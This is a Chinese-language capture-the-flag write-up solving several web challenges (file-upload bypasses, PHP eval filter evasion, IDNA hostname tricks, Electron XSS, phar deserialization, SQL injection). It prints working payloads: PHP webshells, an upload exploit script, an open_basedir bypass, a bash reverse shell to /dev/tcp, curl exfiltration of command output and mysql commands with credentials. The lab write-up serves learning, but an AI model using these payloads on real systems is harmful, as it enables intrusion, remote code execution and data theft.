8月中的国内赛,比起国际赛的相对容易,当时就打了一天,现在补一下
CheckIn
进去一个上传界面,直接传一个php上去
后缀被过滤
直接传一张图
提示不允许<?,也就是说检查到了内容中。这里可以用<script language="php">
绕过,但问题在于需要解析为php才行
于是尝试构造.htaccess上传
检查了文件头,给.htaccess添加文件头会导致.htaccess失效,于是无法利用.htaccess来将jpg解析为php(而且后面发现服务器是nginx而不是apache
于是构造一张能上传的gif,主要是由于大一点的图片就会有<?,同时gif头比较短好构造
可以看到创建了一个文件夹并在其中有个index.php
这里要利用的是.user.ini
的漏洞,这个漏洞在apache,nginx,IIS这些服务器上都能利用,只要是通过fastcgi运行的php都能够使用
具体可以参考一下这里.user.ini文件构成的PHP后门 – phith0n
.user.ini
是用来自定义的一个ini,它影响的范围是该文件夹下的文件,也就是说能通过.user.ini
使得不同文件夹下的php具有不同的配置。不过PHP_INI_SYSTEM
模式的配置是不能.user.ini
来进行配置,只能由php.ini
配置。
而php中个很有用的配置auto_prepend_file
,先给个例子auto_prepend_file=config.php
这样配置完auto_prepend_file
后,所有的php都会包含这个config.php
。这样就可以省去在php中进行include和require一些配置文件
虽然很有用,但这也造成了漏洞,如果我们修改了auto_prepend_file
并指向一个木马文件,那就可以通过访问任意站内的php去执行木马
这里利用这点,正好这个目录下自动创建了一个index.php
,于是尝试去构造一个.user.ini
并上传
这样如果能使用的话,再上传一个带有由一句话的gif,就能由于index.php
引入了1.gif进而利用
上传后访问
成功,接着读根目录
有flag,直接cat
EasyPHP
读源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
可以看出这题分为两部分,一个对hhh进行检验然后执行,还有get_the_flag()的上传文件利用
这里对hhh检验了三步if(strlen($hhh)>18)
长度不得大于18if(preg_match('/[\x00- 0-9A-Za-z\'"\
`~_&.,|=[x7F]+/i', $hhh))`
hhh不得包含0-9,a-z,A-Z,x00-x7f,'"`~_&.,|=这些符号$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
hhh包含的不同字符不得多于12
这里比较麻烦的是正则检验,其它两个可以使用{$_GET['x']}绕过
绕过正则要用点小技巧,参考这里
[Samik081/ctf-writeups
](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)
我们可以利用|!~^这些计算符号,去使用为过滤的字符计算出需要的字符从而绕过过滤
这里用取反或者异或都行
<?php
for($i=0x80;$i<0xff;$i++){
if(($i^0x80)==ord("_")){
echo "_:".dechex($i)."<br>";
}else if(($i^0x80)==ord("G")){
echo "G:".dechex($i)."<br>";
}else if(($i^0x80)==ord("E")){
echo "E:".dechex($i)."<br>";
}else if(($i^0x80)==ord("T")){
echo "T:".dechex($i)."<br>";
}
}
简单计算一下得到payload_=${ %80%80%80%80^%df%c7%c5%d4 }{ %80 }();&%80=get_the_flag
(这里有点格式问题就加了空格,记得删)
这里为了不同字符不多于12,将参数名设为%80%df%c7%c5%d4
其中一个就行了【出题的大佬故意这么设的吧
然后到上传文件部分
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
检查后缀名和内容,感觉和上题差不多,不过这次没有index.php
生成,只用.user.ini.
起不了效,需要.htaccess
。但要使用.htaccess
有个问题,由于检查了头部就必须添加图片格式的头部在.htaccess
中,而如果.htaccess
格式错误就会导致整个目录出错500
这里查到是原题是Insomni'hack CTF-l33t-hoster
题解使用了xbm格式
xbm文件是通过C来标识文件的,举一个例子
#define test_width 16
#define test_height 7
static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };
xbm被exif_imagetype()
检查的部分为前两行define的部分,而.htaccess
中#为注释,这样可通过exif_imagetype()
检测并且.htaccess
也不会出错
还有大佬测试测出使用wbmp格式,头为00008A398A39
也是能够绕过并执行的,可能是由于0x00
在.htaccess
也是注释。同时还和exif_imagetype()
检查幻数有关【不太懂
绕过.htaccess
后图片就简单了,随便一个图片头都可以。于是依旧尝试和上题一样用<script>
但无法执行,想了想才意识到既然用了复杂变量那就是php7了,<script>
无法使用。于是这里还要在.htaccess
中添加php_value auto_append_file
,和上题差不多。不过这次用php://filter
伪协议去base64解码上传的文件,然后上传的文件里用base64编码一下就可以绕过<?
了
这里还要保证解压出来后还是一句话,文件头后补满到四的倍数
import requests
import base64
url = "http://b00b976d-c189-419d-9d7e-4f38e3f2db5f.node3.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"
# .htaccess
htaccess = b"""#define width 1337
#define height 1337
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/shell.xxx"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)
# shell.xxx
shell = b"GIF89aaa"+base64.b64encode(b"<?php eval($_GET['a']);?>")
files = [('file',('shell.xxx',shell,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)
测试一下
上传成功,读波目录
没有返回,去看看phpinfo
可以看到系统函数都被ban了,那用scandir()
读目录
然而是个假flag,于是直接读根目录但是不行print_r(scandir('/'));
,但无返回。
回去phpinfo看看,果然又是open_basedir,绕一波读根目录
mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));
获得flag
不过这题的假flag中提示了fpm,后面看官方wp也提到了这个,先码着以后再看看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
Pythonginx
看题目应该是python+nginx的题
进去F12看源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
这里检查了三次hostname,要求前两次检查不为suctf.cc
,最后一次为suctf.cc
才会去读取。这里应该就是通过urlopen()
读flag,问题是怎么绕过前两次
前面两次看起来没什么方法绕过,于是看第二次到第三次间做了什么
它这里用不同的编码进行了编码解码,可能漏洞就在这newhost.append(h.encode('idna').decode('utf-8'))
查一下idna和utf-8可以看到很多这两个编码间转码造成的问题
而且可以查到在blackhat大会上也提到了这个
us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
于是测试一下有什么可以使用的
# -*- coding:utf8 -*-
k = []
for i in range(94):
k.append([])
for x in range(65536):
try:
a = chr(x).encode('idna').decode('utf-8')
if len(a) == 1:
if ord(a)>32 and ord(a)<127:
k[ord(a)-33].append(str(hex(x)))
except:
pass
for i in range(94):
print(str(chr(i+33))+":"),
print(k[i])
跑一下可以跑出一堆,这里用0x17f代替s
然后尝试一下http://ſuctf.cc
成功回到首页,于是file协议读一波/etc/passwd
没啥东西
这时想到题目有nginx,同时源码有提示了一次
于是/usr/local/nginx/conf/nginx.conf
然后最后读flag
?url=file://ſuctf.cc/../../../../../../../../../../usr/fffffflag
看有大佬只去读了/etc/nginx/conf.d/nginx.conf
没读/usr/local/nginx/conf/nginx.conf
丢了一血真的亏,没怎么用nginx记一下这两个配置位置先
iCloudMusic
这题buu上没有,bot日常起不来,本地起的Electron页面也不是很好用,脑补做题法x
下载下来的压缩包中有个resources,进去后有个asar文件,可以用asar命令解包获得源码
npm install asar 安装一下asar
asar extract app.asar app 解包asar
读源码直接去看到main.js
let filter=(input)=>{
input=input.replace(/=|\'|\"|\(|\)/g,'');
return input;
}
36行处对input的输入全都进行了过滤
然后找到搜索框对应的交互
search.onclick=function(){
console.log("searching");
request.get(
"http://cloudmusic.imagemlt.xyz:3000/playlist/detail?id="+encodeURIComponent(document.getElementById("input").value)+"&time="+Date.now(),
(error,responce,body)=>{
if (!error && responce.statusCode==200){
let res=JSON.parse(body);
console.log(res);
if(res.code==200){
let currentId=remote.getCurrentWebContents().id;
searchRes.style.minHeight="400px";
let js_to_run = `
window.music_info={header:'${res.playlist.coverImgUrl}',title:'${res.playlist.name.substr(0,10).replace(/\n/g,'')}',desc:'${res.playlist.description.substr(0,50).replace(/\n/g,'')}'};
console.log(music_info);
window.pid=${res.playlist.id};
window.fid=${currentId};
avator.src=music_info['header'];
avName.innerText=music_info['title'];
avDesp.innerText=music_info['desc'];
avator.onclick=play;
refreshCode();
`
view.style.visibility="visible"
view.executeJavaScript(js_to_run)
}
}
else{
console.log(responce.statusCode);
if(responce.statusCode==404){
document.getElementById("searchRes").innerHTML="<p style='width:90%;text-align:center;color:white'>没有找到您的歌单</p>";
}
}
});
};
进行了搜索,然后将结果放入js_to_run
中,再用executeJavaScript()
执行js_to_run
再去看list.html
<div id="container">
<img id="avator"/>
<span id="avName"></span>
<span id="avDesp"></span>
<p>
<span id="code"></span>
<input id="captcha"/>
<a id="share">好听的话,就分享给管理员吧!</a>
</p>
</div>
有一个分享给管理员的功能,八成是XSS了
<script>
Object.freeze(document.location)
share.addEventListener('click',(e)=>{
if(window.pid!=undefined) {
request.post({
url:"http://127.0.0.1:5000/",
form:{
music:JSON.stringify(music_info),
id:window.pid,
code:captcha.value
},
headers:{
Cookie:window.session,
}
}, (error, response, body) => {
if (!error && response.statusCode == 200) {
console.log(body);
res=JSON.parse(body);
if(res.success){
share.innerText="已分享";
setTimeout(()=>{
share.innerText="好听的话,就分享给管理员吧!";
},1000)
}
else{
share.innerText="分享失败,验证码错误"
}
refreshCode();
}
else{
console.log(error,response)
}
})
}
})
</script>
这里将music_info进行json序列化后发送,不过不太懂这里的music_info是怎么获得的
id=xxx&music={"header":"xxxx","title":"xxxx","desc":"xxx"} &code=xxx
通过测试可以知道发送的参数是这样的,结合刚刚搜索框处的代码,猜测是通过id去获取music读取其中内容。因为这里的music不是通过input提交,于是可以不用理那个过滤。同时js_to_run
中,header没有做任何限制,可以利用header发动攻击
像这样就能把弹回数据
{"header":"'};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//","title":"xxxx","desc":"xxx"}
接入js_to_run
后就第一句就成了
window.music_info={header:''};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//',title:'xxxx',desc:'xxx'};
然后executeJavaScript()
执行这一句就成功发出请求
不过只是弹数据不够,还需要RCE。在electron中,当nodeIntegration
为true
时,可以使用nodejs模块。也就是说当nodeIntegration
设置允许时,可以通过nodejs进行RCE
但是,虽然这题nodeIntegration
是允许的,但view所生成的webview窗口是与原页面分开的,也就是一个沙盒,默认nodeIntegration
为关闭的,无法使用nodejs
不过题目在这里给了个hint:contextisolation
于是去查一下,可以查到
Electron v7.1 官方中文文档:安全 3)为远程内容开启上下文隔离
也就是contextIsolation
为false
时,上下文不再隔离,预加载的脚本中配置就能在主上下文中修改,同时有效于预加载了该脚本的窗口中
<webview src="http://127.0.0.1:5000/list.html" preload="pr.js" id="view"></webview>
这里预加载了pr.js
,不过没配置contextisolation
,应该默认是关的吧
利用这个配置问题,我们可以重写函数
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
for(var i in args)
if(args[i])
console.log(args[i].toString());
return this.apply2(...args);
}
request.get('http://www.baidu.com/',null)
先像这样重写一波所有函数,输出传入的所有参数。通过暴力fuzz,去寻找process类。经过尝试使用request.get()
函数时,第一个参数为process类
于是再次重写反弹shell
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
Function.prototype.apply=Function.prototype.apply2;
args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
}
return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)
这里除了暴力fuzz还能通过白盒审计去找寻process
process下有nextTrick()
这个函数
ƒ (...args) {
process.activateUvLoop();
return func.apply(this, args);
}
使用func.apply()
时传入了自身
而http库下,处理socket请求的关键函数调用了netxTrick()
ClientRequest.prototype.onSocket = function onSocket(socket) {
process.nextTick(onSocketNT, this, socket);
};
然后request库中请求也都是使用http库,同时自身也多次调用了netxTrick()
var defer = typeof setImmediate === 'undefined'
? process.nextTick
: setImmediate
不过我还是觉得比起白盒爆破应该更快Orz,毕竟pr.js
中就引用了request库,会从这里开始找
做这题发现Electron这个玩意还挺好玩的样子,做出来的桌面页面有点漂亮,寒假整整玩看
easy_sql
这题其实看不太懂大佬们怎么猜出sql语句的。这题是堆叠注入,fuzz一下可以发现过滤了union,from,like,where
之类的,直接查不太可能了
这里测试时会发现只有输入非零数字时才会回显,但靠这个真的猜不出语句呀Orz。后台的sql语句应该是select $_GET['query'] || flag from flag
看到后想到可以输入true和false去测试,实际也成功了,不过不知道语句前实在想不到
得到了语句后,就想到直接去查那个列不就好了,尝试了一下flag,1
,不过flag被过滤了。那就直接读全部吧,于是*,1
得到flag
不过其实这题出题人想考的是||可以通过mysql的配置修改为两个字符串连接
可以看mysql的手册SQL_MODE
可以通过将mysql的模式设为PIPES_AS_CONCAT
,这样||就会被认为是连接符而不是或运算。Mysql可以用set sql_mode=
语句设置模式,于是构造一下payload1;set sql_mode=PIPES_AS_CONCAT;select 1
同样可以拿到flag
Uploads labs 2
比赛时给了源码,是道审计题
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}
这次的上传没有检查文件头,只是检查了后缀和内容,猜测是phar的反序列化。一开始想着是不是file_get_contents
处触发,不过想想file_name
难以控制应该不是这
然后看func.php
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
这里过滤了一堆协议,不允许以这些协议开头,这就很难搞。不过没有过滤php,于是就有大佬fuzz出php://filter/resource=phar://
,tql又学到一个新操作
然后用到了file类
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
File类的__wakeup()
中使用了反射类,那我们可以利用这里实例化其他类。然后在getMIME()
中使用了finfo_file()
,那就是利用这里反序列化phar,继而反序列化File调用__wakeup()
。接下来要做什么继续看
class Ad{
public $cmd;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->cmd = $cmd;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
system($this->cmd);
}
}
admin.php
中有个Ad类,__destruct()
中使用了system()
,那就是要利用这里
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
继续看下面,判断是否来自127.0.0.1,然后实例化Ad类调用check()
。那就是要用soap类去访问这里
结合前面分析的,就是构造一个phar包,其中为File类,File类中的func指向SoapClient,通过SoapClient向admin.php
发送请求,调用system()
再用curl将数据带出
于是构造一下,在反射类那里突然发现好像自己没用过多少类,查了一下用了DateTime类【wtcl
<?php
class File{
public $file_name;
public $func = "SoapClient";
function __construct(){
$location = "http://127.0.0.1/admin.php";
$uri = "aaa";
$this->file_name = array(null, array('user_agent' => "buu\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:150\r\n\r\nadmin=1&cmd=curl -d "`ls /`" http://ip:port/&clazz=DateTime&func1=modify&func2=format&func3=setTimestamp&arg1=-1 day&arg2=Y-m-d H:i:s&arg3=1536547854",'location' => $location,'uri' => $uri));
}
}
$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$file = new File();
$phar->setMetadata($file);
$phar->addFromString("1.txt", "test");
$phar->stopBuffering();
// curl -d "`ls`" http://ip:port/
// curl http://ip:port/?a=`/readflag`
然而这个整了一个下午我都没带出数据,把代码部署到自己服务器上尝试可以但buu上就是不行,不知道为什么了Orz
这里除了用<script>
外还可以用GIF89aphp __HALT_COMPILER(); ?>
绕过<?
的检查,phar包有__HALT_COMPILER(); ?>
作为头部的结尾就能使用
不过这题预期解是要我们用mysqli类
$m = new mysqli();
$m->init();
$m->real_connect(ip,user,psw,database,3306);
$m->query(query)
像这样,通过real_connect()
可以将options()
的设置覆盖掉,这样就能保证LOAD DATA INFILE
能够使用。然后连接上远程的数据库,LOAD DATA INFILE
一波完事
Cocktail's Remix
这题甚至连docker都没有,也许大佬还要拿来复用?不过最近的比赛好像都没看到的样子,最重要分析的so文件都没有,真的就只能全程脑补了Orz
扫目录可以扫到robots.txt
User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php
info.php
为phpinfodownload.php
能够下载,但不知道要传入什么。抓包后发现Content-Disposition
处有个filename,于是尝试filename传参
传入filename发现可以实现任意文件下载
于是去拿源码,config.php
中给了mysql的账户与密码
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>
拿了其它几个源码没什么用,于是去读phpinfo
在扩展中发现了一个和题目名相似的扩展,于是拿一波/usr/lib/apache2/modules/mod_cocktail.so
so文件分析就只能用大佬们给的图分析了
可以看到,35行用popen()
执行了reffer中命令,猜测应该是在ap_rwrite()
处就返回出来了
往上找reffer,发现reffer应该是v7经过j_remix()
处理后的结果,再往上看v3看起来像头部信息,那v5应该也是头部里的信息。28行将v7与Reffer字符串比较,那应该是通过在头部设置Reffer,将值传给了v7加密后赋给reffer
然后去读j_remix()
看起来是某种编码,使用IDA的findcrypt插件可以发现有base64表,猜测是base64
于是利用此处,在头部添加Reffer,并加入base64后的命令。但由于没有权限写webshell,只能通过将mysql的数据输出到文件中再读取文件获得信息
payload:
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;show tables;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt